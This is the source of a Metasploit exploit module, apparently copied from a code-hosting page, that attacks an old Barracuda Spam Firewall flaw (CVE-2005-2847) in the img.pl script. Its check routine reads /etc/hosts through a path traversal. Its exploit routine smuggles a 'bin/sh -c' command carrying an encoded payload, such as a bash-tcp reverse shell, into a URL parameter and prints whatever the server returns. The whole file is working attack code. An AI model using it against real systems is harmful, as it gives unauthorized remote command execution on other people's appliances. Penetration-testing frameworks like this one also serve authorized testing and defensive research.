Path: blob/master/modules/exploits/unix/webapp/barracuda_img_exec.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Barracuda IMG.PL Remote Command Execution',16'Description' => %q{17This module exploits an arbitrary command execution vulnerability in the18Barracuda Spam Firewall appliance. Versions prior to 3.1.18 are vulnerable.19},20'Author' => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],21'License' => MSF_LICENSE,22'References' => [23['CVE', '2005-2847'],24['OSVDB', '19279'],25['BID', '14712'],26['URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19556']27],28'Privileged' => false,29'Payload' => {30'DisableNops' => true,31'Space' => 4000,32'Compat' =>33{34'PayloadType' => 'cmd cmd_bash',35'RequiredCmd' => 'generic perl ruby bash-tcp telnet',36}37},38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'Targets' => [[ 'Automatic', {}]],41'DisclosureDate' => '2005-09-01',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),54]55)56end5758def check59res = send_request_cgi({60'uri' => normalize_uri(datastore['URI']),61'vars_get' =>62{63'f' => ("../" * 8) + "etc/hosts"64}65}, 25)6667if (res and res.body.match(/localhost/))68return Exploit::CheckCode::Vulnerable69end7071return Exploit::CheckCode::Safe72end7374def exploit75res = send_request_cgi({76'uri' => normalize_uri(datastore['URI']),77'vars_get' =>78{79'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!80}81}, 25)8283if (res)84print_status("The server returned: #{res.code} #{res.message}")85print("")8687m = res.body.match(/YYY(.*)YYY/)8889if (m)90print_status("Command output from the server:")91print(m[1])92else93print_status("This server may not be vulnerable")94end9596else97print_status("No response from the server")98end99end100end101102103